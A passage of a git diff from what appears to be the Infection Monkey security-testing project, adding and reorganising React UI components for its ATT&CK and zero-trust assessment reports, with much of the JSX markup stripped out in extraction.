    + + + + } +} + +export default ReportHeader; + +ReportHeader.propTypes = { + report_type: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js new file mode 100644 index 000000000..e389f7532 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js @@ -0,0 +1,28 @@ +import {css} from "@emotion/core"; +import React, {Component} from "react"; +import {GridLoader} from "react-spinners"; +import * as PropTypes from "prop-types"; + +const loading_css_override = css` + display: block; + margin-right: auto; + margin-left: auto; +`; + + +export default class ReportLoader extends Component { + render() { + return
    +

    Generating Report...

    + +
    + } +} + +ReportLoader.propTypes = {loading: PropTypes.bool}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js new file mode 100644 index 000000000..41a45edad --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js @@ -0,0 +1,22 @@ +import React, {Component, Fragment} from "react"; +import * as PropTypes from "prop-types"; + +export default class SecurityIssuesGlance extends Component { + render() { + return + { + this.props.issuesFound ? + (

    + + Critical security issues were detected! +

    ) : + (

    + + No critical security issues were detected. +

    ) + } +
    + } +} + +SecurityIssuesGlance.propTypes = {issuesFound: PropTypes.bool}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js similarity index 69% rename from monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js index 320181a20..13f9cd92e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js @@ -2,19 +2,36 @@ import React from 'react'; import {Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; -import '../../styles/Collapse.scss'; -import AuthComponent from '../AuthComponent'; +import '../../../styles/Collapse.scss'; +import AuthComponent from '../../AuthComponent'; +import {ScanStatus} from "../../attack/techniques/Helpers"; import Collapse from '@kunukn/react-collapse'; -import T1210 from '../attack/techniques/T1210'; -import T1197 from '../attack/techniques/T1197'; -import T1110 from '../attack/techniques/T1110'; -import T1075 from "../attack/techniques/T1075"; -import T1003 from "../attack/techniques/T1003"; -import T1059 from "../attack/techniques/T1059"; -import T1086 from "../attack/techniques/T1086"; -import T1082 from "../attack/techniques/T1082"; -import T1145 from "../attack/techniques/T1145"; -import T1065 from "../attack/techniques/T1065"; + +import T1210 from '../../attack/techniques/T1210'; +import T1197 from '../../attack/techniques/T1197'; +import T1110 from '../../attack/techniques/T1110'; +import T1075 from "../../attack/techniques/T1075"; +import T1003 from "../../attack/techniques/T1003"; +import T1059 from "../../attack/techniques/T1059"; +import T1086 from "../../attack/techniques/T1086"; +import T1082 from "../../attack/techniques/T1082"; +import T1145 from "../../attack/techniques/T1145"; +import T1105 from "../../attack/techniques/T1105"; +import T1107 from "../../attack/techniques/T1107"; +import T1065 from "../../attack/techniques/T1065"; +import T1035 from "../../attack/techniques/T1035"; +import T1129 from "../../attack/techniques/T1129"; +import T1106 from "../../attack/techniques/T1106"; +import T1188 from "../../attack/techniques/T1188"; +import T1090 from "../../attack/techniques/T1090"; +import T1041 from "../../attack/techniques/T1041"; +import T1222 from "../../attack/techniques/T1222"; +import T1005 from "../../attack/techniques/T1005"; +import T1018 from "../../attack/techniques/T1018"; +import T1016 from "../../attack/techniques/T1016"; +import T1021 from "../../attack/techniques/T1021"; +import T1064 from "../../attack/techniques/T1064"; +import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus"; const tech_components = { 'T1210': T1210, @@ -26,7 +43,21 @@ const tech_components = { 'T1086': T1086, 'T1082': T1082, 'T1145': T1145, - 'T1065': T1065 + 'T1065': T1065, + 'T1105': T1105, + 'T1035': T1035, + 'T1129': T1129, + 'T1106': T1106, + 'T1107': T1107, + 'T1188': T1188, + 'T1090': T1090, + 'T1041': T1041, + 'T1222': T1222, + 'T1005': T1005, + 'T1018': T1018, + 'T1016': T1016, + 'T1021': T1021, + 'T1064': T1064 }; const classNames = require('classnames'); @@ -51,11 +82,7 @@ class AttackReportPageComponent extends AuthComponent { return this.authFetch('/api') .then(res => res.json()) .then(res => { - // This check is used to prevent unnecessary re-rendering - this.setState({ - allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), - runStarted: res['completed_steps']['run_monkey'] - }); + this.setState(extractExecutionStatusFromServerResponse(res)); return res; }); }; @@ -77,9 +104,9 @@ class AttackReportPageComponent extends AuthComponent { getComponentClass(tech_id){ switch (this.state.report[tech_id].status) { - case 'SCANNED': + case ScanStatus.SCANNED: return 'collapse-info'; - case 'USED': + case ScanStatus.USED: return 'collapse-danger'; default: return 'collapse-default'; @@ -143,7 +170,7 @@ class AttackReportPageComponent extends AuthComponent { return (
    {this.renderLegend()} -
    {content}
    +
    {content}
    ) } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/CollapsibleWell.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/CollapsibleWell.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js similarity index 98% rename from monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js index aacdc8845..ea39e3c45 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js @@ -24,7 +24,7 @@ let renderPbaResults = function (results) { }; const subColumns = [ - {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }}, + {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160}, {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }} ]; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js new file mode 100644 index 000000000..761ff94a9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -0,0 +1,43 @@ +import React, {Component, Fragment} from "react"; +import EventsModal from "./EventsModal"; +import {Badge, Button} from "react-bootstrap"; +import * as PropTypes from "prop-types"; + +export default class EventsButton extends Component { + constructor(props) { + super(props); + this.state = { + isShow: false + } + } + + hide = () => { + this.setState({isShow: false}); + }; + + show = () => { + this.setState({isShow: true}); + }; + + render() { + return + +
    + +
    +
    ; + } + + createEventsAmountBadge() { + const eventsAmountBadgeContent = this.props.events.length > 9 ? "9+" : this.props.events.length; + return {eventsAmountBadgeContent}; + } +} + +EventsButton.propTypes = { + events: PropTypes.array, + exportFilename: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js new file mode 100644 index 000000000..a7f2fe41c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js @@ -0,0 +1,51 @@ +import React, {Component} from "react"; +import {Badge, Modal} from "react-bootstrap"; +import EventsTimeline from "./EventsTimeline"; +import * as PropTypes from "prop-types"; +import saveJsonToFile from "../../utils/SaveJsonToFile"; +import EventsModalButtons from "./EventsModalButtons"; +import Pluralize from 'pluralize' +import {statusToLabelType} from "./StatusLabel"; + +export default class EventsModal extends Component { + constructor(props) { + super(props); + } + + render() { + return ( +
    + this.props.hideCallback()}> + +

    +
    Events
    +

    +
    +

    + There {Pluralize('is', this.props.events.length)} {

    {this.props.events.length}
    } {Pluralize('event', this.props.events.length)} associated with this finding. +

    + {this.props.events.length > 5 ? this.renderButtons() : null} + + {this.renderButtons()} +
    +
    +
    + ); + } + + renderButtons() { + return this.props.hideCallback()} + onClickExport={() => { + const dataToSave = this.props.events; + const filename = this.props.exportFilename; + saveJsonToFile(dataToSave, filename); + }}/>; + } +} + +EventsModal.propTypes = { + showEvents: PropTypes.bool, + events: PropTypes.array, + hideCallback: PropTypes.func, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js new file mode 100644 index 000000000..962c54893 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js @@ -0,0 +1,20 @@ +import React, {Component} from "react"; +import ExportEventsButton from "./ExportEventsButton"; +import * as PropTypes from "prop-types"; + +export default class EventsModalButtons extends Component { + render() { + return
    + + +
    + } +} + +EventsModalButtons.propTypes = { + onClickClose: PropTypes.func, + onClickExport: PropTypes.func +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js new file mode 100644 index 000000000..b7fb90811 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -0,0 +1,36 @@ +import React, {Component} from "react"; +import {Timeline, TimelineEvent} from "react-event-timeline"; +import * as PropTypes from "prop-types"; + +let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg'); +let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg'); + +const eventTypeToIcon = { + "monkey_local": monkeyLocalIcon, + "monkey_network": monkeyNetworkIcon, +}; + +export default class EventsTimeline extends Component { + render() { + return ( +
    + + { + this.props.events.map((event, index) => { + const event_time = new Date(event.timestamp['$date']).toString(); + return (}> + {event.message} + ) + }) + } + +
    + ); + } +} + +EventsTimeline.propTypes = {events: PropTypes.array}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js new file mode 100644 index 000000000..bb6fc6c45 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js @@ -0,0 +1,15 @@ +import React, {Component} from "react"; +import {Button} from "react-bootstrap"; +import * as PropTypes from "prop-types"; + +export default class ExportEventsButton extends Component { + render() { + return + } +} + +ExportEventsButton.propTypes = {onClick: PropTypes.func}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js new file mode 100644 index 000000000..95b9d0389 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -0,0 +1,63 @@ +import React, {Component, Fragment} from "react"; +import PillarLabel from "./PillarLabel"; +import EventsButton from "./EventsButton"; +import ZeroTrustPillars, {ZeroTrustStatuses} from "./ZeroTrustPillars"; +import {FindingsTable} from "./FindingsTable"; + + +class FindingsSection extends Component { + mapFindingsByStatus() { + const statusToFindings = {}; + for (const key in ZeroTrustStatuses) { + statusToFindings[ZeroTrustStatuses[key]] = []; + } + + this.props.findings.map((finding) => { + // Deep copy + const newFinding = JSON.parse(JSON.stringify(finding)); + newFinding.pillars = newFinding.pillars.map((pillar) => { + return {name: pillar, status: this.props.pillarsToStatuses[pillar]} + }); + statusToFindings[newFinding.status].push(newFinding); + }); + return statusToFindings; + } + + render() { + const findingsByStatus = this.mapFindingsByStatus(); + return ( +
    +

    Findings

    +

    + Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things + happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper + insight as to what exactly happened during this test. +

    + + + + +
    + ); + } + + getFilteredFindings(statusToFilter) { + const findings = this.props.findings.map((finding) => { + // Deep copy + const newFinding = JSON.parse(JSON.stringify(finding)); + if (newFinding.status === statusToFilter) { + newFinding.pillars = newFinding.pillars.map((pillar) => { + return {name: pillar, status: this.props.pillarsToStatuses[pillar]} + }); + return newFinding; + } + }); + // Filter nulls out of the list + return findings.filter(function (el) { + return el != null; + }); + } +} + + +export default FindingsSection; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js new file mode 100644 index 000000000..acff1df89 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -0,0 +1,53 @@ +import React, {Component, Fragment} from "react"; +import StatusLabel from "./StatusLabel"; +import PaginatedTable from "../common/PaginatedTable"; +import * as PropTypes from "prop-types"; +import PillarLabel from "./PillarLabel"; +import EventsButton from "./EventsButton"; + +const EVENTS_COLUMN_MAX_WIDTH = 160; +const PILLARS_COLUMN_MAX_WIDTH = 200; +const columns = [ + { + columns: [ + { + Header: 'Finding', accessor: 'test', + style: {'whiteSpace': 'unset'} // This enables word wrap + }, + + { + Header: 'Events', id: "events", + accessor: x => { + return ; + }, + maxWidth: EVENTS_COLUMN_MAX_WIDTH, + }, + + { + Header: 'Pillars', id: "pillars", + accessor: x => { + const pillars = x.pillars; + const pillarLabels = pillars.map((pillar) => + + ); + return
    {pillarLabels}
    ; + }, + maxWidth: PILLARS_COLUMN_MAX_WIDTH, + style: {'whiteSpace': 'unset'} + }, + ] + } +]; + + +export class FindingsTable extends Component { + render() { + return +

    { + } tests' findings

    + +
    + } +} + +FindingsTable.propTypes = {data: PropTypes.array, status: PropTypes.string}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js new file mode 100644 index 000000000..51c5ca380 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -0,0 +1,25 @@ +import React, {Component} from "react"; +import {statusToLabelType} from "./StatusLabel"; +import * as PropTypes from "prop-types"; + +const pillarToIcon = { + "Data": "fa fa-database", + "People": "fa fa-user", + "Networks": "fa fa-wifi", + "Workloads": "fa fa-cloud", + "Devices": "fa fa-laptop", + "Visibility & Analytics": "fa fa-eye-slash", + "Automation & Orchestration": "fa fa-cogs", +}; + +export default class PillarLabel extends Component { + render() { + const className = "label " + statusToLabelType[this.props.status]; + return
    {this.props.pillar}
    + } +} + +PillarLabel.propTypes = { + status: PropTypes.string, + pillar: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js new file mode 100644 index 000000000..7cefcab61 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -0,0 +1,17 @@ +import React, {Component} from "react"; +import * as PropTypes from "prop-types"; +import ResponsiveVennDiagram from "./venn-components/ResponsiveVennDiagram"; + +class PillarOverview extends Component { + render() { + return (
    + +
    ); + } +} + +export default PillarOverview; + +PillarOverview.propTypes = { + grades: PropTypes.array, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js new file mode 100644 index 000000000..bb957d42d --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js @@ -0,0 +1,31 @@ +import React, {Component} from "react"; +import SinglePillarPrinciplesStatus from "./SinglePillarPrinciplesStatus"; +import * as PropTypes from "prop-types"; + +export default class PrinciplesSection extends Component { + render() { + return
    +

    Test Results

    +

    + The + Zero Trust eXtended (ZTX) framework + is composed of 7 pillars. Each pillar is built of + several guiding principles tested by the Infection Monkey. +

    + { + Object.keys(this.props.principles).map((pillar) => + + ) + } +
    + } +} + +PrinciplesSection.propTypes = { + principles: PropTypes.object, + pillarsToStatuses: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js new file mode 100644 index 000000000..b50ee0c28 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js @@ -0,0 +1,71 @@ +import React, {Fragment} from "react"; +import PaginatedTable from "../common/PaginatedTable"; +import AuthComponent from "../../AuthComponent"; +import StatusLabel from "./StatusLabel"; +import * as PropTypes from "prop-types"; +import {ZeroTrustStatuses} from "./ZeroTrustPillars"; + + +const MAX_WIDTH_STATUS_COLUMN = 80; +const columns = [ + { + columns: [ + { Header: 'Status', id: 'status', + accessor: x => { + return ; + }, + maxWidth: MAX_WIDTH_STATUS_COLUMN + }, + { Header: 'Zero Trust Principle', accessor: 'principle', + style: {'whiteSpace': 'unset'} // This enables word wrap + }, + { Header: 'Monkey Tests', id: 'tests', + style: {'whiteSpace': 'unset'}, // This enables word wrap + accessor: x => { + return ; + } + } + ] + } +]; + +class TestsStatus extends AuthComponent { + render() { + return ( + + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.failed)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.verify)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.passed)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.unexecuted)} + + ); + } + + getFilteredTestsByStatusIfAny(statusToFilter) { + const filteredTests = this.props.tests.filter((test) => { + return (test.status === statusToFilter); + } + ); + + if (filteredTests.length > 0) { + const listItems = filteredTests.map((test) => { + return (
  • {test.test}
  • ) + }); + return + +
      {listItems}
    +
    ; + } + return ; + } +} + +export class PrinciplesStatusTable extends AuthComponent { + render() { + return ; + } +} + +export default PrinciplesStatusTable; + +PrinciplesStatusTable.propTypes = {principlesStatus: PropTypes.array}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js new file mode 100644 index 000000000..5ef75f2b4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -0,0 +1,60 @@ +import React, {Component} from "react"; +import StatusLabel from "./StatusLabel"; +import {ZeroTrustStatuses} from "./ZeroTrustPillars"; +import {NavLink} from "react-router-dom"; +import {Panel} from "react-bootstrap"; + + +class ZeroTrustReportLegend extends Component { + render() { + const legendContent = this.getLegendContent(); + + return ( + + + +

    Legend

    +
    +
    + + + {legendContent} + + +
    + ); + } + + getLegendContent() { + return
    +
      +
    • +
      + +
      + {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement. +
    • +
    • +
      + +
      + {"\t"}At least one of the tests’ results related to this component requires further manual verification. +
    • +
    • +
      + +
      + {"\t"}All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected. +
    • +
    • +
      + +
      + {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey configuration page. +
    • +
    +
    ; + } +} + +export default ZeroTrustReportLegend; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js new file mode 100644 index 000000000..8e4512ac7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js @@ -0,0 +1,37 @@ +import AuthComponent from "../../AuthComponent"; +import PillarLabel from "./PillarLabel"; +import PrinciplesStatusTable from "./PrinciplesStatusTable"; +import React from "react"; +import * as PropTypes from "prop-types"; +import {Panel} from "react-bootstrap"; + +export default class SinglePillarPrinciplesStatus extends AuthComponent { + render() { + if (this.props.principlesStatus.length === 0) { + return null; + } + else { + return ( + + + +

    + +

    +
    +
    + + + + + +
    + ); + } + } +} + +SinglePillarPrinciplesStatus.propTypes = { + principlesStatus: PropTypes.array, + pillar: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js new file mode 100644 index 000000000..028ca7d89 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -0,0 +1,37 @@ +import React, {Component} from "react"; +import * as PropTypes from "prop-types"; + +const statusToIcon = { + "Passed": "fa-check", + "Verify": "fa-exclamation-triangle", + "Failed": "fa-bomb", + "Unexecuted": "fa-question", +}; + +export const statusToLabelType = { + "Passed": "label-success", + "Verify": "label-warning", + "Failed": "label-danger", + "Unexecuted": "label-default", +}; + +export default class StatusLabel extends Component { + render() { + let text = ""; + if (this.props.showText) { + text = " " + this.props.status; + } + + return ( +
    + {text} +
    + ); + } +} + +StatusLabel.propTypes = { + status: PropTypes.string, + showText: PropTypes.bool, + size: PropTypes.string +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js new file mode 100644 index 000000000..d34a484b9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js @@ -0,0 +1,37 @@ +import React, {Component, Fragment} from "react"; +import PillarLabel from "./PillarLabel"; +import StatusLabel from "./StatusLabel"; +import * as PropTypes from "prop-types"; +import {ZeroTrustStatuses} from "./ZeroTrustPillars"; + +export default class StatusesToPillarsSummary extends Component { + render() { + return (
    + {this.getStatusSummary(ZeroTrustStatuses.failed)} + {this.getStatusSummary(ZeroTrustStatuses.verify)} + {this.getStatusSummary(ZeroTrustStatuses.passed)} + {this.getStatusSummary(ZeroTrustStatuses.unexecuted)} +
    ); + } + + getStatusSummary(status) { + if (this.props.statusesToPillars[status].length > 0) { + return +

    + +

    +
    + { + this.props.statusesToPillars[status].map((pillar) => { + return + }) + } +
    +
    + } + } +} + +StatusesToPillarsSummary.propTypes = { + statusesToPillars: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js new file mode 100644 index 000000000..e4012bf50 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js @@ -0,0 +1,40 @@ +import React, {Component} from "react"; +import {Col, Grid, Row} from "react-bootstrap"; +import MonkeysStillAliveWarning from "../common/MonkeysStillAliveWarning"; +import PillarsOverview from "./PillarOverview"; +import ZeroTrustReportLegend from "./ReportLegend"; +import * as PropTypes from "prop-types"; + +export default class SummarySection extends Component { + render() { + return
    +

    Summary

    + + +
    + +

    + Get a quick glance at how your network aligns with the + Zero Trust eXtended (ZTX) framework + . +

    + + + +
    + + + + + + + + + } +} + +SummarySection.propTypes = { + allMonkeysAreDead: PropTypes.bool, + pillars: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js new file mode 100644 index 000000000..dd2a55865 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js @@ -0,0 +1,18 @@ +export const ZeroTrustPillars = { + data: "Data", + people: "People", + network: "Networks", + workload: "Workload", + devices: "Devices", + visibility: "Visibility & Analytics", + automation: "Automation & Orchestration" +}; + +export const ZeroTrustStatuses = { + failed: "Failed", + verify: "Verify", + passed: "Passed", + unexecuted: "Unexecuted" +}; + +export default ZeroTrustPillars; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store new file mode 100644 index 000000000..344923cf9 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store differ diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js new file mode 100644 index 000000000..aee1fb7f2 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js @@ -0,0 +1,65 @@ +import React from 'react' +import PropTypes from 'prop-types'; +import {Popover, OverlayTrigger} from 'react-bootstrap'; +import * as d3 from 'd3' + +class ArcNode extends React.Component { + render() { + let {prefix, index, data} = this.props; + + let arc = d3.arc().innerRadius(data.inner).outerRadius(data.outer).startAngle(0).endAngle(Math.PI * 2.0); + let id = prefix + 'Node_' + index; + + return ( + + {data.tooltip}} rootClose> + + + + + {data.icon + '\u2000'} + {data.label} + + + + ); + } + + + handleClick(e_) { + this.props.disableHover(this.refs.overlay); + } + + handleOver(e_) { + if (this.props.hover) { + this.refs.overlay.show(); + } + } + + handleOut(e_) { + if (this.props.hover) { + this.refs.overlay.hide(); + } + } +} + +ArcNode.propTypes = { + data: PropTypes.object +}; + +export default ArcNode; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js new file mode 100644 index 000000000..5c84d95a5 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js @@ -0,0 +1,64 @@ +import React from 'react' +import PillarLabel from "../PillarLabel"; +import {Popover, OverlayTrigger} from 'react-bootstrap'; +import PropTypes from 'prop-types'; + +class CircularNode extends React.Component { + render() { + let {prefix, index, data} = this.props; + + let translate = 'translate(' + data.cx + ',' + data.cy + ')'; + return ( + + {data.tooltip}} rootClose> + + + + + + + ); + } + + + handleClick(e_) { + this.props.disableHover(this.refs.overlay); + } + + handleOver(e_) { + if (this.props.hover) { + this.refs.overlay.show(); + } + } + + handleOut(e_) { + if (this.props.hover) { + this.refs.overlay.hide(); + } + } + +} + +CircularNode.propTypes = { + index: PropTypes.number, + data: PropTypes.object +}; + +export default CircularNode; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js new file mode 100644 index 000000000..4b2069f06 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js @@ -0,0 +1,28 @@ +import React from 'react' +import PropTypes from 'prop-types' +import Dimensions from 'react-dimensions' +import VennDiagram from './VennDiagram' + +const VENN_MIN_WIDTH = '300px'; + +class ResponsiveVennDiagram extends React.Component { + constructor(props) { + super(props); + } + + render() { + const {pillarsGrades} = this.props; + + return ( +
    + +
    + ); + } +} + +ResponsiveVennDiagram.propTypes = { + pillarsGrades: PropTypes.array +}; + +export default Dimensions()(ResponsiveVennDiagram); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js new file mode 100644 index 000000000..fa9309506 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js @@ -0,0 +1,9 @@ +export class TypographicUtilities { + static removeAmpersand(string_) { + return string_.replace(' & ', 'And'); + } + + static removeBrokenBar(string_) { + return string_.replace(/\|/g, ' '); + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css new file mode 100644 index 000000000..dd4883125 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css @@ -0,0 +1,17 @@ +@import url('https://fonts.googleapis.com/css?family=Noto+Sans&display=swap'); + +body { + margin: 0; + font-family: "Noto Sans", sans-serif; +} + +svg { + + -webkit-touch-callout: none; /* iOS Safari */ + -webkit-user-select: none; /* Safari */ + -khtml-user-select: none; /* Konqueror HTML */ + -moz-user-select: none; /* Firefox */ + 